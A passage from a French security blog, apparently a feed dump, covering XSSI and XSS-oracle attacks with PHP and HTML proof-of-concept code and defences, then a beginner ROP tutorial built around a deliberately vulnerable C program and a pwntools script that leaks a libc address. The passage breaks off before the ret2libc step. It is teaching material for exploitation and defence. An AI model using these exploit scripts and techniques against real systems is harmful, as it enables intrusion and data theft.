SOP</h2> <p>Nous avons vu rapidement comment fonctionne la <em>SOP</em>, reste maintenant à voir les limites de cette protection.</p> <p>En effet, la <em>SOP</em> doit être assez permissive pour pouvoir afficher des images ou charger du Javascript externe.</p> <p>Les exemples suivants ne sont donc pas soumis à cette protection :</p> <p>La balise <code>&lt;img&gt;</code> :</p> <div class="highlight"><pre><span></span><code><span class="p">&lt;</span><span class="nt">img</span> <span class="na">src</span><span class="o">=</span><span class="s">&quot;http://externe.dtd/image.png&quot;</span> <span class="p">/&gt;</span> </code></pre></div> <p>La balise <code>&lt;script&gt;</code> :</p> <div class="highlight"><pre><span></span><code><span class="p">&lt;</span><span class="nt">script</span> <span class="na">src</span><span class="o">=</span><span class="s">&quot;https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js&quot;</span><span class="p">&gt;&lt;/</span><span class="nt">script</span><span class="p">&gt;</span> </code></pre></div> <p>D'autres exemples de balises telles que les balises <em>link</em> ou <em>video</em> sont disponibles dans la <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Same_origin_policy_for_JavaScript">documentation de Firefox</a>.</p> <p>Ce mécanisme permissif permet d'envisager un scénario dans lequel la SOP ne fonctionne pas : l'utilisation de <strong>XSSI</strong> !</p> <h2>Les XSSI</h2> <p>Alors, une XSSI, c'est quoi ?</p> <p>Une XSSI, abréviation de <strong>Cross Site Script Inclusion</strong>, est le fait d'inclure une page distante ayant un contenu en Javascript.</p> <p>En effet, la balise <code>&lt;script&gt;</code> inclut, via son attribut <em>src</em>, une page externe qui est chargée comme étant du Javascript.</p> <p>Prenons l'exemple de script PHP disponible <a href="https://www.dailysecurity.fr/labs/info.php">ici</a>.</p> <p>Dans notre exemple, on suppose que la fonction <code>get_user_info()</code> récupère les informations dans une base de données grâce au cookie utilisateur :</p> <div class="highlight"><pre><span></span><code><span class="o">&lt;?</span><span class="nx">php</span> <span class="c1">// Charge la session utilisateur</span> <span class="nb">session_start</span><span class="p">();</span> <span class="k">function</span> <span class="nf">get_user_info</span><span class="p">()</span> <span class="p">{</span> <span class="c1">// TODO : Récupérer les informations de l&#39;utilisateur courant dans la base de données</span> <span class="c1">// Dans notre exemple, les informations seront hardcodées</span> <span class="nv">$info</span> <span class="o">=</span> <span class="s2">&quot;{&#39;user&#39; : &#39;Geluchat&#39;, &#39;API_KEY&#39; : &#39;l3x11sG00dBuT3l54J34n1sB3tt3r&#39;}&quot;</span><span class="p">;</span> <span class="k">return</span> <span class="nv">$info</span><span class="p">;</span> <span class="p">}</span> <span class="nb">header</span><span class="p">(</span><span class="s1">&#39;Content-Type: application/javascript&#39;</span><span class="p">);</span> <span class="nv">$build_response</span> <span class="o">=</span> <span class="s2">&quot;var info = [&quot;</span><span class="o">.</span> <span class="nx">get_user_info</span><span class="p">()</span> <span class="o">.</span><span class="s2">&quot;];&quot;</span><span class="p">;</span> <span class="k">echo</span> <span class="nv">$build_response</span><span class="p">;</span> </code></pre></div> <p>On remarque que le script PHP change le Content-type de la page. On peut supposer que pour des raisons pratiques les informations sont chargées dynamiquement sur le site via du Javascript.</p> <p>En revanche, ce type d'utilisation n'est pas du tout sécurisé comme le montre le script suivant : </p> <div class="highlight"><pre><span></span><code><span class="p">&lt;</span><span class="nt">script</span> <span class="na">src</span><span class="o">=</span><span class="s">&quot;https://www.dailysecurity.fr/labs/info.php&quot;</span><span class="p">&gt;&lt;/</span><span class="nt">script</span><span class="p">&gt;</span> <span class="p">&lt;</span><span class="nt">script</span> <span class="na">type</span><span class="o">=</span><span class="s">&#39;text/javascript&#39;</span><span class="p">&gt;</span> <span class="nx">alert</span><span class="p">(</span><span class="nb">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">info</span><span class="p">));</span> <span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span> </code></pre></div> <p>Vous pouvez faire le test chez vous depuis un fichier local ou sur un serveur distant, les informations de l'utilisateur sont affichées (en tenant compte de son cookie) : </p> <p><img src="https://www.dailysecurity.fr/images/info_xssi.png" alt="Info XSSI" style="width: 50%;"></p> <p>Un attaquant peut alors mettre en place le système suivant : </p> <p><img alt="Schéma XSSI Final" src="https://www.dailysecurity.fr/images/schema_xssi_2.png"></p> <p>Il existe des moyens permettant de charger d'autres types de fichiers (CSV, JSON) en jouant avec le charset des éléments HTML comme le montre ce <a href="https://www.mbsd.jp/Whitepaper/xssi.pdf">document</a>. </p> <p>Néanmoins, la plupart des contournements présentés ne fonctionnent plus sur les versions récentes des navigateurs.</p> <h2>Les XSS Oracle</h2> <p>Un exemple plus poussé des XSSI est présenté dans <a href="https://www.hurricanelabs.com/blog/new-xssi-vector-untold-merits-of-nosniff">l'article de Hurricane Labs</a>.</p> <p>Cet article détaille une méthode jusqu'ici méconnue utilisant à la fois les XSSI et les codes de retour HTTP.</p> <p>Admettons qu'une page d'un site retourne différents codes HTTP (200, 404, 302, etc...) en réponse à différentes requêtes de type GET.</p> <p>Il serait alors possible de récupérer ces codes à l'aide du handler onerror.</p> <p>En effet, en jouant avec ces handlers, il est possible d'extraire des données par le même procédé que lors d'une <em>Blind SQL injection</em> (c-à-d caractère par caractère) comme montré dans le script suivant : </p> <div class="highlight"><pre><span></span><code><span class="nt">&lt;script&gt;</span> function http200() { alert(&quot;HTTP 200&quot;) } function http404() { alert(&quot;HTTP 404&quot;) } <span class="nt">&lt;/script&gt;</span> <span class="nt">&lt;script</span> <span class="na">src=</span><span class="s">&quot;https://www.dailysecurity.fr/labs/httpResponse.php&quot;</span> <span class="na">async=</span><span class="s">&quot;async&quot;</span> <span class="na">onerror=</span><span class="s">http404()</span> <span class="na">onload=</span><span class="s">http200()</span><span class="nt">&gt;&lt;/script&gt;</span> </code></pre></div> <p>httpResponse.php :</p> <div class="highlight"><pre><span></span><code><span class="o">&lt;?</span><span class="nx">php</span> <span class="k">if</span><span class="p">(</span><span class="nb">rand</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">))</span> <span class="p">{</span> <span class="nb">http_response_code</span><span class="p">(</span><span class="mi">200</span><span class="p">);</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="nb">http_response_code</span><span class="p">(</span><span class="mi">404</span><span class="p">);</span> <span class="p">}</span> <span class="k">die</span><span class="p">();</span> </code></pre></div> <p>On peut donc faire la différence entre deux réponses grâce aux codes HTTP et aux handlers d'erreurs !</p> <p>Le mécanisme ci-dessus, permettant de savoir si une réponse est vraie ou fausse, est appelé <strong>Oracle XSS</strong>.</p> <p>Quelle utilité peut-on trouver à cette méthode ?</p> <p>Si le site distant possède un système de recherche d'utilisateurs uniquement disponible pour l’administrateur, on peut les lister ces utilisateurs en comparant les retours des codes HTTP.</p> <p>Il faudra bien sûr que la personne connectée soit l'administrateur du site.</p> <p>Exemple de scénario d'attaque via un oracle XSS : </p> <div class="highlight"><pre><span></span><code>GET /admin/search.php?user=j* -&gt; 200 // &#39;j&#39; est donc notre premier caractère. GET /admin/search.php?user=ja* -&gt; 404 // Aucun utilisateur ne commence par &#39;ja&#39; on teste donc la lettre suivante. GET /admin/search.php?user=jb* -&gt; 404 GET /admin/search.php?user=jc* -&gt; 404 GET /admin/search.php?user=jd* -&gt; 404 GET /admin/search.php?user=je* -&gt; 200 --- snip --- GET /admin/search.php?user=jean -&gt; 200 // Nous avons récupéré l&#39;utilisateur &#39;jean&#39; ! </code></pre></div> <p>Afin de stopper ce genre d'attaque, on peut utiliser les méthodes suivantes :</p> <ul> <li>On ajoute le header <code>X-Content-Type-Options: nosniff</code>, celui-ci protégeant des attaques sur les Content-Type.</li> <li>On évite de mettre des informations utilisateur dans des fichiers Javascript.</li> </ul> <p>Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon <a href="https://twitter.com/Geluchat">Twitter</a> pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.</p> <p>Geluchat.</p>Petit Manuel du ROP à l'usage des débutants2017-09-02T02:09:00+02:002017-09-02T02:09:00+02:00Geluchattag:www.dailysecurity.fr,2017-09-02:/return_oriented_programming<p><img src="https://dailysecurity.fr/images/missme.gif" alt="Miss Me" style="width: 70%;"/></p> <h2>De retour !</h2> <p>Après plus d'un an d'absence sur le blog, je décide enfin d'écrire un <a href="https://twitter.com/Geluchat/status/852894909497475072">article annoncé</a> sur Twitter il y a déjà plusieurs mois. </p> <p>Lorsque l'on débute dans le monde des exploits système, on se retrouve facilement bloqué lors de l'apprentissage du Return Oriented Programming (ROP).</p> <p>Dans cet article …</p><p><img src="https://dailysecurity.fr/images/missme.gif" alt="Miss Me" style="width: 70%;"/></p> <h2>De retour !</h2> <p>Après plus d'un an d'absence sur le blog, je décide enfin d'écrire un <a href="https://twitter.com/Geluchat/status/852894909497475072">article annoncé</a> sur Twitter il y a déjà plusieurs mois. </p> <p>Lorsque l'on débute dans le monde des exploits système, on se retrouve facilement bloqué lors de l'apprentissage du Return Oriented Programming (ROP).</p> <p>Dans cet article, je vais vous expliquer une méthode de ROP qui fonctionne la plupart du temps et qui a l'avantage de ne pas utiliser <em>l'instruction int 0x80</em> ; ce genre d'instruction étant souvent rare dans un binaire.</p> <h2>Les prérequis (fortement recommandés) :</h2> <p>Je vous conseille tout d'abord d'aller voir les deux articles de l'ami <a href="https://twitter.com/hackanddo">hackndo</a> disponibles <a href="http://beta.hackndo.com/retour-a-la-libc/">ici</a> et <a href="http://beta.hackndo.com/return-oriented-programming/">ici</a>.</p> <p>Il y explique le fonctionnement des gadgets ainsi que les bases du ROP avec le ret2libc et l'instruction int 0x80 .</p> <p>Pour aller plus loin sur les différentes utilisations des gadgets vous pouvez vous rendre sur le site de tosh qui contient un <a href="https://github.com/t00sh/tosh-codes/blob/master/_posts/2013-08-26-rop-tricks-1.md">magnifique article sur les techniques de ROP</a>.</p> <p>De plus, des bases sur le fonctionnement classique des buffer overflows sont obligatoires (sinon que faites vous sur cet article ?).</p> <h2>Le ROP, c'est quoi ?</h2> <p>Avant d'entrer dans le vif du sujet, nous allons revoir ensemble les principes du ROP.</p> <p>Le ROP sert principalement à contourner la protection NX, celle-ci empêche l'utilisateur d’exécuter un shellcode en mappant la stack en non-executable (No-eXecutable).</p> <p>Il permet aussi de participer à déjouer l'ALSR qui rend aléatoire la base de nos adresses dans la stack ainsi que dans la libc.</p> <p>Afin d'exécuter notre code, on utilise alors des gadgets qui sont des morceaux de code présents dans les sections exécutables de notre binaire.</p> <p><img src="https://dailysecurity.fr/images/spectacular.gif" alt="Wtf" style="width: 50%;"/></p> <p>Pour mieux comprendre l’intérêt et le fonctionnement du ROP, voyons l'étude de cas suivante :</p> <p><em>testrop.c :</em></p> <div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;stdlib.h&gt;</span><span class="cp"></span> <span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;stdio.h&gt;</span><span class="cp"></span> <span class="kt">void</span><span class="w"> </span><span class="nf">vuln</span><span class="p">()</span><span class="w"></span> <span class="p">{</span><span class="w"></span> <span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">buffer</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span><span class="w"></span> <span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">&quot;Input: </span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span><span class="w"></span> <span class="w"> </span><span class="n">scanf</span><span class="p">(</span><span class="s">&quot;%s&quot;</span><span class="p">,</span><span class="n">buffer</span><span class="p">);</span><span class="w"></span> <span class="p">}</span><span class="w"></span> <span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">argc</span><span class="p">,</span><span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">**</span><span class="n">argv</span><span class="p">)</span><span class="w"></span> <span class="p">{</span><span class="w"></span> <span class="w"> </span><span class="n">vuln</span><span class="p">();</span><span class="w"></span> <span class="p">}</span><span class="w"></span> </code></pre></div> <p>Pour débuter, on compile en 32 bits :</p> <div class="highlight"><pre><span></span><code>$ gcc testrop.c -fno-stack-protector -no-pie -m32 -o testrop </code></pre></div> <p>Ici, le binaire est faillible via la fonction scanf() qui ne vérifie pas la taille de l'entrée.</p> <p>Si vous aviez trouvé, bravo :</p> <p><img src="https://dailysecurity.fr/images/bravo.gif" alt="Bravo" style="width: 50%;"/></p> <p>Regardons un peu les sections présentes dans notre binaire : </p> <div class="highlight"><pre><span></span><code>$ readelf -S testrop Il y a 30 en-têtes de section, débutant à l&#39;adresse de décalage 0xf6c: En-têtes de section : [Nr] Nom Type Adr Décala.Taille ES Fan LN Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1 [ 2] .note.ABI-tag NOTE 08048148 000148 000020 00 A 0 0 4 [ 3] .note.gnu.build-i NOTE 08048168 000168 000024 00 A 0 0 4 [ 4] .gnu.hash GNU_HASH 0804818c 00018c 000020 04 A 5 0 4 [ 5] .dynsym DYNSYM 080481ac 0001ac 000060 10 A 6 1 4 [ 6] .dynstr STRTAB 0804820c 00020c 000063 00 A 0 0 1 [ 7] .gnu.version VERSYM 08048270 000270 00000c 02 A 5 0 2 [ 8] .gnu.version_r VERNEED 0804827c 00027c 000030 00 A 6 1 4 [ 9] .rel.dyn REL 080482ac 0002ac 000008 08 A 5 0 4 [10] .rel.plt REL 080482b4 0002b4 000020 08 AI 5 12 4 [11] .init PROGBITS 080482d4 0002d4 000023 00 AX 0 0 4 [12] .plt PROGBITS 08048300 000300 000050 04 AX 0 0 16 [13] .text PROGBITS 08048350 000350 0001c2 00 AX 0 0 16 [14] .fini PROGBITS 08048514 000514 000014 00 AX 0 0 4 [15] .rodata PROGBITS 08048528 000528 000013 00 A 0 0 4 [16] .eh_frame_hdr PROGBITS 0804853c 00053c 000034 00 A 0 0 4 [17] .eh_frame PROGBITS 08048570 000570 0000dc 00 A 0 0 4 [18] .init_array INIT_ARRAY 0804964c 00064c 000004 00 WA 0 0 4 [19] .fini_array FINI_ARRAY 08049650 000650 000004 00 WA 0 0 4 [20] .jcr PROGBITS 08049654 000654 000004 00 WA 0 0 4 [21] .dynamic DYNAMIC 08049658 000658 0000e8 08 WA 6 0 4 [22] .got PROGBITS 08049740 000740 000004 04 WA 0 0 4 [23] .got.plt PROGBITS 08049744 000744 00001c 04 WA 0 0 4 [24] .data PROGBITS 08049760 000760 000008 00 WA 0 0 4 [25] .bss NOBITS 08049768 000768 000004 00 WA 0 0 1 [26] .comment PROGBITS 00000000 000768 000039 01 MS 0 0 1 [27] .shstrtab STRTAB 00000000 0007a1 000106 00 0 0 1 [28] .symtab SYMTAB 00000000 0008a8 000450 10 29 45 4 [29] .strtab STRTAB 00000000 000cf8 000271 00 0 0 1 Clé des fanions : W (écriture), A (allocation), X (exécution), M (fusion), S (chaînes) I (info), L (ordre des liens), G (groupe), T (TLS), E (exclu), x (inconnu) O (traitement additionnel requis pour l&#39;OS) o (spécifique à l&#39;OS), p (spécifique au processeur) </code></pre></div> <p>Ici on peut voir que les sections .init, .plt, .text et .fini ont le flag eXecutable, c'est donc ici que nous allons trouver nos gadgets.</p> <p>Petit rappel sur les sections les plus importantes d'un binaire lorsque l'on souhaite faire du ROP :</p> <ul> <li>PLT : Contient du code permettant de résoudre les fonctions de la libc exécutées dans le binaire (<a href="http://www.segmentationfault.fr/linux/role-plt-got-ld-so/">Explication</a>)</li> <li>TEXT : Le code du binaire</li> <li>GOT : Contient les adresses de la libc résolues grâce à la plt</li> <li>BSS : Contient les variables statiques définies lors de la création du programme.</li> <li>DATA : Contient les données variables étant définies lors de la création du programme. Par exemple : </li> </ul> <div class="highlight"><pre><span></span><code><span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">test</span><span class="p">[]</span><span class="o">=</span><span class="s">&quot;Ma chaîne&quot;</span><span class="p">;</span><span class="w"></span> </code></pre></div> <p>Après ce bref rappel sur le rôle des sections, voyons à quoi ressemble un gadget. Les gadgets ont, la plupart du temps, la forme suivante :</p> <div class="highlight"><pre><span></span><code>instruction1; instruction2; instruction-n; ret </code></pre></div> <p>L'instruction "ret" en 32bits est l'équivalent d'un pop EIP : On enlève 4 bytes de la stack et on les met dans EIP.</p> <p>Cela permet d'enchainer différents gadgets et de construire une suite d'actions que l'on appelle ropchain.</p> <p>Le type de gadget le plus utilisé est le gadget "pop", il permet de mettre des chaînes de 4 bytes non exécutables sur la stack comme dans l'exemple suivant :</p> <p>Exemple de ropchain située sur la stack :</p> <div class="highlight"><pre><span></span><code>+----------------------------+ | | | pop ebx; pop ecx; ret; | | | +----------------------------+ | | | 0x61616161 | | | +----------------------------+ | | | 0x62626262 | | | +----------------------------+ | | | gadget suivant | | | +----------------------------+ </code></pre></div> <p>Lors de l'exploitation, cette technique nous permettra par exemple de faire appel à des fonctions avec des arguments comme nous allons le voir dans la partie suivante.</p> <h2>La méthode de ROP classique :</h2> <p>Passons directement à la méthode d'exploitation. Nous allons utiliser le schéma d'exploitation suivant :</p> <ul> <li>ret2plt vers puts afin de leak (récupérer) une adresse de la libc (dont la base est aléatoire en raison de l'ASLR).</li> <li>ret2main afin de ré-exécuter le programme sans recharger l'ALSR.</li> <li>ret2libc vers <em>system</em>.</li> </ul> <p><img src="https://dailysecurity.fr/images/wtf.gif" alt="Wtf" style="width: 50%;"/></p> <p>Maintenant que vous êtes tous perdus, une petite explication s'impose :</p> <p>C'est quoi tous ces ret2truc ?</p> <p>Le <strong>ret2plt</strong> est une méthode qui permet d’exécuter n'importe quelle fonction importée dans le binaire (via la PLT).</p> <p>On peut les lister de la manière suivante :</p> <div class="highlight"><pre><span></span><code>$ objdump -R testrop testrop: format de fichier elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049740 R_386_GLOB_DAT __gmon_start__ 08049750 R_386_JUMP_SLOT puts 08049754 R_386_JUMP_SLOT __gmon_start__ 08049758 R_386_JUMP_SLOT __libc_start_main 0804975c R_386_JUMP_SLOT __isoc99_scanf </code></pre></div> <p>Cette commande affiche les fonctions importées de la libc et leur adresse dans la GOT.</p> <p>Dans notre schéma d'exploitation, nous avons parlé d'un ret2plt de puts.</p> <p>Le but d'un ret2plt est d'exécuter une fonction de la libc présente dans le binaire.</p> <p>Le modèle de ropchain pour faire un ret2plt est le suivant:</p> <div class="highlight"><pre><span></span><code>ropchain = addrPltFonction + popNgadgetRet + arg1 +...+ arg2 </code></pre></div> <p>Avec popNgadgetRet étant un gadget contenant autant de pop que d'arguments voulus : dans notre cas, un seul.</p> <p>En effet, la fonction puts prend un argument qui est un pointeur vers une chaîne:</p> <div class="highlight"><pre><span></span><code><span class="kt">int</span><span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="k">const</span><span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">str</span><span class="p">)</span><span class="w"></span> </code></pre></div> <p>Si cet argument pointe sur une adresse de la libc, nous pouvons alors l'afficher et la récupérer ! </p> <p>Dans notre étude des sections importantes nous avons vu une section qui contient les adresses de la libc : la GOT !</p> <p>On peut donc en conclure qu'un pointeur sur l'adresse de <em>scanf</em> est disponible à l'adresse 0x804975c (voir la liste des fonctions ci-dessus).</p> <p>Une simple vérification sous gdb nous confirme que l'adresse de <em>scanf</em> est bien dans la GOT :</p> <div class="highlight"><pre><span></span><code>gdb-peda$ x/x 0x0804975c 0x804975c &lt;__isoc99_scanf@got.plt&gt;: 0xf7e77140 gdb-peda$ x/x __isoc99_scanf 0xf7e77140 &lt;__isoc99_scanf&gt;: 0x53565755 </code></pre></div> <p>Pour notre exploitation, il faut que notre début de ropchain exécute :</p> <div class="highlight"><pre><span></span><code>puts(adresseGOTscanf); </code></pre></div> <p>On récupère donc l'adresse référençant puts dans la plt (ici 0x8048310):</p> <div class="highlight"><pre><span></span><code>$ objdump -d testrop | grep &quot;&lt;puts@plt&gt;&quot; 08048310 &lt;puts@plt&gt;: 8048459: e8 b2 fe ff ff call 8048310 &lt;puts@plt&gt; </code></pre></div> <p>Il faut aussi lui envoyer un argument à l'aide d'un pop XXX; ret.</p> <p><a href="https://github.com/JonathanSalwan/ROPgadget">RopGadget</a> permet d'extraire les gadgets d'un binaire :</p> <div class="highlight"><pre><span></span><code>$ ROPGadget --binary testrop Gadgets information ============================================================ 0x08048623 : adc al, 0x41 ; ret 0x0804843e : adc al, 0x50 ; call edx 0x080483b7 : adc cl, cl ; ret 0x0804848f : add al, 0x59 ; pop ebp ; lea esp, dword ptr [ecx - 4] ; ret 0x08048418 : add al, 8 ; add ecx, ecx ; ret 0x080483b1 : add al, 8 ; call eax 0x080483eb : add al, 8 ; call edx 0x080482f0 : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret 0x08048620 : add cl, byte ptr [eax + 0xe] ; adc al, 0x41 ; ret 0x0804861c : add eax, 0x2300e4e ; dec eax ; push cs ; adc al, 0x41 ; ret 0x08048415 : add eax, 0x8049768 ; add ecx, ecx ; ret 0x0804841a : add ecx, ecx ; ret 0x080483b5 : add esp, 0x10 ; leave ; ret 0x080484f9 : add esp, 0x1c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0804848d : add esp, 4 ; pop ecx ; pop ebp ; lea esp, dword ptr [ecx - 4] ; ret 0x080482f2 : add esp, 8 ; pop ebx ; ret 0x080482d8 : call 0x8048386 0x080483b3 : call eax 0x080483ed : call edx 0x08048494 : cld ; ret 0x08048621 : dec eax ; push cs ; adc al, 0x41 ; ret ----- snip ----- 0x080483b2 : or bh, bh ; rol byte ptr [ebx - 0xc36ef3c], 1 ; ret 0x080483ec : or bh, bh ; rol byte ptr [ebx - 0xc36ef3c], cl ; ret 0x08048419 : or byte ptr [ecx], al ; leave ; ret 0x08048491 : pop ebp ; lea esp, dword ptr [ecx - 4] ; ret 0x080484ff : pop ebp ; ret 0x080484fc : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x080482f5 : pop ebx ; ret 0x08048490 : pop ecx ; pop ebp ; lea esp, dword ptr [ecx - 4] ; ret 0x080484fe : pop edi ; pop ebp ; ret 0x080484fd : pop esi ; pop edi ; pop ebp ; ret 0x08048493 : popal ; cld ; ret 0x08048416 : push 0x1080497 ; leave ; ret ---- snip ---- 0x080483ea : xchg eax, edi ; add al, 8 ; call edx 0x0804861f : xor byte ptr [edx], al ; dec eax ; push cs ; adc al, 0x41 ; ret Unique gadgets found: 87 </code></pre></div> <p>On y trouve un gadget <code>0x080482f5 : pop ebx ; ret;</code> idéal pour notre exploitation !</p> <p>La deuxième partie du schéma indique l'utilisation d'un <strong>ret2main</strong>.</p> <p>Cela consiste tout simplement à mettre l'adresse du main du programme dans notre ropchain afin que celui-ci se relance sans modifier l'ALSR (l'ALSR change à chaque démarrage du programme).</p> <p>Notre ropchain pour leak l'adresse de <em>scanf</em> dans la libc aura donc cette forme :</p> <div class="highlight"><pre><span></span><code><span class="c">ropchain = addrPLTputs </span><span class="nb">+</span><span class="c"> addrPopEbxRet </span><span class="nb">+</span><span class="c"> addrGOTscanf </span><span class="nb">+</span><span class="c"> addrMain</span> <span class="nb">+-----------------------------+</span><span class="c"></span> <span class="c">| |</span> <span class="c">| 0x8048310 : </span><span class="nv">&lt;</span><span class="c">puts@plt</span><span class="nv">&gt;</span><span class="c"> |</span> <span class="c">| |</span> <span class="nb">+-----------------------------+</span><span class="c"></span> <span class="c">| |</span> <span class="c">| 0x080482f5 : pop ebx ; ret; |</span> <span class="c">| |</span> <span class="nb">+-----------------------------+</span><span class="c"></span> <span class="c">| |</span> <span class="c">| 0x804975c : __isoc99_scanf |</span> <span class="c">| |</span> <span class="nb">+-----------------------------+</span><span class="c"></span> <span class="c">| |</span> <span class="c">| 0x8048477 : </span><span class="nv">&lt;</span><span class="c">main</span><span class="nv">&gt;</span><span class="c"> |</span> <span class="c">| |</span> <span class="nb">+-----------------------------+</span><span class="c"></span> </code></pre></div> <p>On teste donc avec le script suivant que notre début de ropchain fonctionne :</p> <p><em>Attention le script fonctionne avec la librairie <a href="https://github.com/Gallopsled/pwntools">pwntools</a></em></p> <div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/env python</span> <span class="c1"># -*- coding: utf-8 -*-</span> <span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span> <span class="n">context</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;i386&#39;</span><span class="p">)</span> <span class="n">p</span> <span class="o">=</span> <span class="mi">0</span> <span class="n">b</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;./testrop&#39;</span><span class="p">)</span> <span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;/lib32/libc.so.6&#39;</span><span class="p">)</span> <span class="c1"># &quot;info sharedlibrary&quot; sous gdb pour connaître le chemin de votre libc</span> <span class="n">DEBUG</span> <span class="o">=</span> <span class="kc">False</span> <span class="k">def</span> <span class="nf">wait</span><span class="p">(</span><span class="n">until</span><span class="p">):</span> <span class="n">buf</span><span class="o">=</span><span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="n">until</span><span class="p">)</span> <span class="k">if</span><span class="p">(</span><span class="n">DEBUG</span><span class="p">):</span> <span class="nb">print</span> <span class="n">buf</span> <span class="k">return</span> <span class="n">buf</span> <span class="k">def</span> <span class="nf">start</span><span class="p">():</span> <span class="k">global</span> <span class="n">p</span><span class="p">,</span> <span class="n">libc</span><span class="p">,</span> <span class="n">b</span> <span class="k">if</span> <span class="n">p</span> <span class="ow">is</span> <span class="ow">not</span> <span class="mi">0</span><span class="p">:</span> <span class="n">p</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> <span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s1">&#39;./testrop&#39;</span><span class="p">)</span> <span class="n">wait</span><span class="p">(</span><span class="s2">&quot;Input:&quot;</span><span class="p">)</span> <span class="c1"># pwntools permet de récupérer les adresses directement dans le binaire sans avoir à les chercher via objdump :</span> <span class="n">addrmain</span> <span class="o">=</span> <span class="n">b</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;main&#39;</span><span class="p">]</span> <span class="c1"># 0x8048477</span> <span class="n">pr</span> <span class="o">=</span> <span class="mh">0x080482f5</span> <span class="c1">#: pop ebx ; ret</span> <span class="n">gotscanf</span> <span class="o">=</span> <span class="n">b</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;got.__isoc99_scanf&#39;</span><span class="p">]</span> <span class="c1"># 0x804975c</span> <span class="n">pltputs</span> <span class="o">=</span> <span class="n">b</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;puts&#39;</span><span class="p">]</span> <span class="c1"># 0x8048310 </span> <span class="n">padding</span><span class="o">=</span><span class="s2">&quot;a&quot;</span><span class="o">*</span><span class="mi">76</span> <span class="n">start</span><span class="p">()</span> <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s2">&quot;Construct ropchain&quot;</span><span class="p">)</span> <span class="n">ropchain</span><span class="o">=</span><span class="n">padding</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">pltputs</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">pr</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">gotscanf</span><span class="p">)</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="n">addrmain</span><span class="p">)</span> <span class="c1"># p32 permet de &quot;pack&quot; une adresse : 0x61616161 -&gt; &quot;aaaa&quot; </span> <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s2">&quot;Get scanf leak&quot;</span><span class="p">)</span> <span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">ropchain</span><span class="p">)</span> <span class="nb">print</span> <span class="n">wait</span><span class="p">(</span><span class="s1">&#39;Input:&#39;</span><span class="p">)</span> </code></pre></div> <p>Le script retourne bien l'adresse de <em>scanf</em> en little endian <code>@q▒▒</code>et se relance tout seul :</p> <div class="highlight"><pre><span></span><code><span class="nv">@q</span><span class="err">▒▒</span><span class="w"></span> <span class="k">Input</span><span class="err">:</span><span class="w"></span> </code></pre></div> <p>Cette bouillie de caractères est en réalité l'adresse que nous venons de récupérer. </p> <p>Elle ne nous apparaît bien évidemment pas de façon à ce que nous puissions la lire à l'œil nu, mais notre script va s'en charger pour nous :</p> <div class="highlight"><pre><span></span><code><span class="n">leak</span><span class="o">=</span><span class="n">wait</span><span class="p">(</span><span class="s1">&#39;Input:&#39;</span><span class="p">)</span> <span class="n">leak_scanf</span> <span class="o">=</span> <span class="n">u32</span><span class="p">(</span><span class="n">leak</span><span class="p">[</span><span class="mi">2</span><span class="p">:</span><span class="mi">6</span><span class="p">])</span> <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s2">&quot;Leak got scanf: &quot;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">leak_scanf</span><span class="p">)))</span> </code></pre></div> <p>Nous avons donc un leak de la libc (et plus précisément de la fonction scanf()) !</p> <p><img src="https://dailysecurity.fr/images/rocknroll.gif" alt="Surprise" style="width: 50%;"/></p> <p>Nous arrivons donc à notre dernière partie : faire un <strong>ret2libc</strong> vers system().</p> <p>Si vous ne savez pas ce qu'est un ret2libc, je vous redirige vers la section prérequis en haut de l'article.</p> <p><em>tl;dr : C'est globalement un ret2plt avec une fonction de la libc.</em></p> 